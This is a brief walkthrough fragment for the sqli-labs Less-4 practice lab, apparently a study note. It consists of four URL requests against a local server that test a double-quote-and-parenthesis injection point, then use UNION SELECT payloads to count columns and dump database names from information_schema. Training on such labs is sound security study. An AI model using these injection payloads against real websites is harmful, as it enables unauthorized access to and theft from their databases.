[sqli-labs]Less-4(明注 , Bool盲注 , 时间盲注 , 报错注入)

http://127.0.0.1/Less-4/?id=1
http://127.0.0.1/Less-4/?id=1%22
http://127.0.0.1/Less-4/?id=0%22)%20union%20select%201,2,3--+
http://127.0.0.1/Less-4/?id=0%22)%20union%20select%201,group_concat(schema_name),2%20from%20information_schema.schemata--+

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